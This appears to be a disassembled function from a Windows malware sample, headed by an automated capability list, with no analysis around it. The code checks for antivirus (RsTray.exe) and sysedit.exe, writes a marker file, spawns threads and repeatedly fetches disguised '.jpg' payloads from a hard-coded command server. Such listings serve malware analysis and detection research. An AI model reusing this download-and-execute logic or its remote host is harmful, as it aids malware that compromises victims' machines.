Function at 0x402cfc
Capabilities:
Check if file exists
Check os version
Create thread
Get common file path
Get file attributes
Terminate process
Write file on windows

Disassembly:
mov eax, 0x40d718
call fcn.00404474
mov eax, 0x158c
call fcn.00403c60
push ebx
push esi
lea eax, [ebp - 0x18c]
push edi
push eax
mov dword [ebp - 0x18c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x188], 6
mov esi, dword [0x413aa0]
je 0x402d7d
lea eax, [ebp - 0x984]
push 0x3e7
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x984]
push eax
lea eax, [ebp - 0xd6c]
push str._sSysTEM32_sysedit.exe
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xd6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402d7d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401c42
push eax
lea eax, [ebp - 0x498]
push 0x410cbc
push eax
call esi
add esp, 0xc
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 1
pop edi
push edi
push 0xc0000000
push str.c:Fuck.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x498]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
call fcn.00402aee
test al, al
jne 0x402e04
call fcn.00402b6b
test al, al
jne 0x402e04
push ebx
push ebx
push ebx
push 0x40d098
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call esi
push ebx
push ebx
push ebx
push 0x401e8f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call esi
call fcn.0040289e
push 0x31
mov dword [ebp - 0x20], edi
pop ecx
xor eax, eax
lea edi, [ebp - 0xef]
mov byte [ebp - 0xf0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xf0]
push 0xc8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0xf0]
push 0x41091c
push eax
call fcn.00403b6f
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
mov dword [ebp - 0x10], edi
jne 0x402e6c
push 1
pop eax
jmp 0x4030b0
push 2
push 0xfffffffffffffffc
push edi
call fcn.00403eb1
push edi
push 1
lea eax, [ebp - 0x24]
push 4
push eax
call fcn.00403d9a
push ebx
push dword [ebp - 0x24]
push edi
call fcn.00403eb1
push edi
mov edi, 0x82c
push 1
push edi
push str.http:__caoyima.3322.org:7400_10058.jpg
call fcn.00403d9a
push dword [ebp - 0x10]
call fcn.00403988
add esp, 0x3c
lea ecx, [ebp - 0x1c]
call fcn.00401000
lea eax, [ebp - 0x18]
push 1
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x18], 0x44
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x67
mov byte [ebp - 0x14], bl
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x1598]
push str.http:__caoyima.3322.org:7400_10058.jpg
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040102c
lea eax, [ebp - 0x1598]
push edi
push eax
push str.http:__caoyima.3322.org:7400_10058.jpg
call fcn.004035f0
push str.VVVVVV
push ebx
call fcn.00402a4a
add esp, 0x14
cmp eax, ebx
jne 0x402f30
call fcn.004024c6
test eax, eax
je 0x402f30
push 1
push 0x410258
call fcn.00401a3b
pop ecx
pop ecx
jmp 0x4030a2
push str.RsTray.exe
call sub.MSVCRT.dll__strrev
push eax
call fcn.0040268b
pop ecx
test eax, eax
pop ecx
je 0x402f6a
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x402bfa
push ebx
push ebx
call edi
push eax
call esi
push ebx
push ebx
push ebx
push 0x402cd2
push ebx
push ebx
call edi
push eax
call esi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x393]
mov byte [ebp - 0x394], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x394]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x59b]
mov byte [ebp - 0x59c], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x59c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x4026f4
push ebx
push ebx
call edi
push 0xffffffffffffffff
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10]
call esi
push ebx
push ebx
push ebx
push 0x40273a
push ebx
push ebx
call edi
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10], ebx
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x28f]
mov byte [ebp - 0x290], bl
push 0x410970
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x290]
push eax
call fcn.004016be
lea eax, [ebp - 0x290]
push eax
push str.http:__caoyima.3322.org:7400_10058.jpg
call fcn.00401482
add esp, 0x10
test eax, eax
je 0x403059
lea eax, [ebp - 0x290]
push eax
call fcn.0040180d
call fcn.00402278
push ebx
push str.http:__caoyima.3322.org:7400_mt1.jpg
call fcn.00401a3b
add esp, 0xc
call fcn.00402993
cmp dword [ebp - 0x20], ebx
je 0x403063
call fcn.00401f43
mov eax, dword [0x41076c]
mov dword [ebp - 0x20], ebx
cmp eax, 1
je 0x40309b
imul eax, eax, 0xea60
push eax
call esi
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cdq
cmp edx, 0x5af3
jl 0x402ff6
jg 0x4030a2
cmp eax, 0x107a3fff
jbe 0x402ff6
jmp 0x4030a2
push 0xea60
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401025
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret